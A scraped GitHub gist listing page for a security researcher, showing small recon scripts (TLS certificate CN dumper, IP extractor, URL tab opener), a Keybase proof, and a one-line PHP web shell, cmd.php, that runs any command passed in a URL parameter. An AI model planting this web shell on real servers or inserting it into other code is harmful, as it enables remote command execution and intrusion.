Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
hacking \o/

Luke Stephens (hakluke) hakluke

💭
hacking \o/
View GitHub Profile
View dumpCN.py
#!/usr/bin/python3
import ssl,sys,json
cert = ssl.get_server_certificate((sys.argv[1], 443)) #Retrieve SSL server certificate
cert = ssl.PEM_cert_to_DER_cert(cert) #Convert certificate to DER format
begin = cert.rfind(b'\x06\x03\x55\x04\x03') + 7 #Find the last occurence of this byte string indicating the CN, add 7 bytes to startpoint to account for length of byte string and padding
end = begin + cert[begin - 1] #Set endpoint to startpoint + the length of the CN
jsondata = {"ip": sys.argv[1], "cn": cert[begin:end].decode('utf-8')}
print(json.dumps(jsondata))
View keybase.md

Keybase proof

I hereby claim:

  • I am hakluke on github.
  • I am hakluke (https://keybase.io/hakluke) on keybase.
  • I have a public key ASCvTkh5UyT1IOHbTurvVOud_neQtuy8ugKTfpjQzbhmAQo

To claim this, I am signing this object:

View cmd.php
<?php system($_GET['cmd']); ?>
@hakluke
hakluke / openinbrowser.py
Created May 18, 2019
Little Python script to open a list of URLs from a file in browser tabs, n tabs at a time
View openinbrowser.py
#! /usr/bin/python3
import webbrowser, sys
if len(sys.argv) < 3:
print("Usage: openinbrowser.py ./urls.txt 20")
quit()
f = open(sys.argv[1])
tabs = int(sys.argv[2])
counter = 1
@hakluke
hakluke / grepips.py
Last active Apr 13, 2021
Little Python script to dump IP addresses from a file
View grepips.py
#!/usr/bin/python3
import sys, re
f = open(sys.argv[1],'r')
text = f.read()
ips = []
regex = re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b',text)
if regex is not None:
for match in regex:
if match not in ips: